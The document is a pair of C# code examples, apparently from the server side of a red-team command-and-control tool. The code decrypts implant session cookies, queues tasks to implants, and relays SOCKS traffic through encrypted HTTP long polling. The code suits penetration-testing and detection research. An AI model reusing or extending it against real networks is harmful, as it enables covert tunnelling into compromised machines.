Example #1
0
        void ProcessCommandChanelImplantMessage(List <byte> message)
        {
            var xdoc = XDocument.Parse(UTF8Encoding.UTF8.GetString(message.ToArray()));

            var elms = xdoc.XPathSelectElements("CommandChannel/ListenerStatus");

            xdoc.XPathSelectElements("CommandChannel/ListenerStatus").ToList().ForEach(x =>
            {
                var nodeStatus = x.XPathSelectElement("Status");
                if (nodeStatus != null)
                {
                    var sessionId = nodeStatus.Attribute("SessionID").Value;
                    var status    = nodeStatus.Value;
                    SocksProxy.NotifyConnection(sessionId, status);
                    ServerComms.LogMessage($"Status: connection {nodeStatus.Attribute("SessionID").Value} - {nodeStatus.Value}");
                }
            });
        }
Example #2
0
        public void ProcessRequest(System.Net.HttpListenerContext ctx)
        {
            System.Net.Cookie sessionCookie = null;
            try
            {
                sessionCookie = ctx.Request.Cookies[_sessionIdName];
                if (sessionCookie == null || String.IsNullOrEmpty(sessionCookie.Value))
                {
                    ctx.Response.StatusCode = 401;
                    ctx.Response.Close();
                    return;
                }
            }
            catch (Exception ex)
            {
                ServerComms.LogMessage($"ERROR Processing session cookie {ex.Message}");
            }

            String decryptedSessionId = null, decryptedStatus = null;

            try
            {
                var decr = _encryption.Decrypt(sessionCookie.Value);
                if (decr == null)
                {
                    throw new Exception($"Can't decrypt session cookie{sessionCookie.Value}");
                }
                var decryptedSessionStatus = UTF8Encoding.UTF8.GetString(decr.ToArray()).Split(':');
                decryptedSessionId = decryptedSessionStatus[0];
                decryptedStatus    = decryptedSessionStatus[1];

                if (String.IsNullOrWhiteSpace(decryptedSessionId))
                {
                    throw new Exception($"Session cookie decrypted to nothing or whitespace");
                }
            }
            catch (Exception ex)
            {
                ServerComms.LogError($"Error occured communicating with implant {ex.Message}");
                ctx.Response.StatusCode = 500;
                ctx.Response.Close();
                return;
            }
            String      response        = null;
            List <byte> responseBytes   = new List <byte>();
            String      uploadedPayload = null;

            //TO DO: Payload is currently coming up as different content types

            try
            {
                if ("POST" == ctx.Request.HttpMethod)
                {
                    //Yeah casting ContentLength64 to an int is not idle, but we should not be uploading anywhere near 2gb+ in one request!!!!!
                    uploadedPayload = (new StreamReader(ctx.Request.InputStream)).ReadToEnd();
                }
                else
                if ("GET" == ctx.Request.HttpMethod)
                {
                    var payloadCookie = ctx.Request.Cookies[PayloadCookieName];
                    //TO DO: Dodgy as hell. Need to make sure this can be tampered/malleable etc
                    //This could be whenever in the request. Need to sort that out
                    if (null != payloadCookie)
                    {
                        if (!String.IsNullOrWhiteSpace(payloadCookie.Value))
                        {
                            uploadedPayload = payloadCookie.Value;
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                ServerComms.LogMessage($"ERROR Processing payload data {decryptedSessionId} {ex.Message}");
            }
            ConnectionDetails dtls = null;

            if (decryptedSessionId == _commandChannel)
            {
                try
                {
                    var   ready = false;
                    Int32 ctr = 0, cmdTasks = 0;

                    ProcessCommandChannelTime();

                    if (null == uploadedPayload || uploadedPayload.Count() == 0)
                    {
                        ServerComms.LogMessage($"Command channel sending {_commandTasks.Count()} tasks ");
                    }
                    else
                    {
                        mapSessionToConnectionDetails[_commandChannel].DataRecv += uploadedPayload.Count();
                        if (_commandTasks.Count() > 0)
                        {
                            ServerComms.LogMessage($"Command channel payload {uploadedPayload.Count()} bytes, sending {_commandTasks.Count()} tasks ");
                        }
                        ProcessCommandChanelImplantMessage(this._encryption.Decrypt(uploadedPayload));
                    }

                    lock (_commandLocker) { cmdTasks = _commandTasks.Count(); }
                    if (cmdTasks == 0)
                    {
                        while (!(ready = _cmdTaskWaitEvent.WaitOne(1000)) && ctr++ < 40)
                        {
                            ;
                        }
                    }

                    lock (_commandLocker) { cmdTasks = _commandTasks.Count(); }
                    if (cmdTasks > 0)
                    {
                        response = new XElement("Response", new XElement("Tasks", PopQueueCommandTasks())).ToString();
                    }
                    else
                    {
                        response = BuildStandardResponse().ToString();
                    }

                    _cmdTaskWaitEvent.Reset();

                    responseBytes.AddRange(UTF8Encoding.UTF8.GetBytes(response));
                    mapSessionToConnectionDetails[_commandChannel].DataSent += responseBytes.Count();
                }
                catch (Exception ex)
                {
                    ServerComms.LogMessage($"ERROR Processing command channel message {ex.Message}");
                }
            }
            else
            {
                try
                {
                    if (decryptedStatus == "closed")
                    {
                        ServerComms.LogMessage($"Close connection has been called on {decryptedSessionId}");
                        //Implant has called time
                        //cleanup the data queue

                        lock (_dataTasks)
                        {
                            if (_dataTasks.ContainsKey(decryptedSessionId))
                            {
                                _dataTasks[decryptedSessionId].Tasks.Clear();
                                var wait = _dataTasks[decryptedSessionId].Wait;
                                _dataTasks[decryptedSessionId].DisposeWait();
                                _dataTasks.Remove(decryptedSessionId);
                            }
                        }

                        lock (_listenerLocker)
                        {
                            _listeners.Remove(decryptedSessionId);
                        }

                        //Let the socks know its over
                        SocksProxy.ImplantCalledClose(decryptedSessionId);
                        ctx.Response.StatusCode = 200;
                        ctx.Response.OutputStream.Close();
                        return;
                    }
                    else if (SocksProxy.IsValidSession(decryptedSessionId))
                    {
                        if (!SocksProxy.IsSessionOpen(decryptedSessionId))
                        {
                            SocksProxy.NotifyConnection(decryptedSessionId, "open");
                        }

                        dtls = SocksProxy.GetDetailsForTargetId(decryptedSessionId);
                        if (null == uploadedPayload || uploadedPayload.Count() == 0)
                        {
                            if (ServerComms.IsVerboseOn())
                            {
                                ServerComms.LogMessage($"Requesting data for connection {dtls.HostPort}:{dtls.Id}");
                            }
                        }
                        else
                        {
                            ServerComms.LogMessage($"[Rx] {dtls.HostPort}:{dtls.Id} {uploadedPayload.Count()} bytes ");
                            SocksProxy.ReturnDataCallback(decryptedSessionId, this._encryption.Decrypt(uploadedPayload));
                        }
                    }
                    else
                    {
                        if (ServerComms.IsVerboseOn())
                        {
                            ServerComms.LogMessage($"Session ID {decryptedSessionId} is not valid");
                        }
                        ctx.Response.StatusCode = 404;
                        ctx.Response.OutputStream.Close();
                        return;
                    }

                    var ctr       = 0;
                    var dataQueue = _dataTasks[decryptedSessionId];
                    var ready     = false;

                    while (null != dataQueue.Wait && !(ready = dataQueue.Wait.WaitOne(1000)) && ctr++ < _longpolltimeout)
                    {
                        ;
                    }

                    if (ready && dataQueue.Tasks.Count() > 0)
                    {
                        lock (dataQueue.PayloadLocker) {
                            while (dataQueue.Tasks.Count != 0)
                            {
                                responseBytes.AddRange(dataQueue.Tasks.Dequeue());
                            }
                        }
                        dataQueue.Wait.Reset();
                        if (null != dtls)
                        {
                            ServerComms.LogMessage($"[Tx] {dtls.HostPort}:{dtls.Id} {responseBytes.Count()} bytes ");
                        }
                    }
                    else
                    if (null != dtls)
                    {
                        ServerComms.LogMessage($"[Tx] {dtls.HostPort}:{dtls.Id} nothing to send. TimedOut: {!ready}");
                    }
                }
                catch (Exception ex)
                {
                    ServerComms.LogMessage($"ERROR Processing response for connection {decryptedSessionId} {ex.Message}");
                }
            }

            try
            {
                ctx.Response.StatusCode = 200;

                var payload = EncryptPayload(responseBytes);
                if (null != payload && payload.Count > 0)
                {
                    ctx.Response.OutputStream.Write(payload.ToArray(), 0, payload.Count());
                }

                ctx.Response.OutputStream.Close();
            }
            catch (Exception ex)
            {
                ServerComms.LogMessage($"ERROR Writing response back to client {ex.Message}");
            }
        }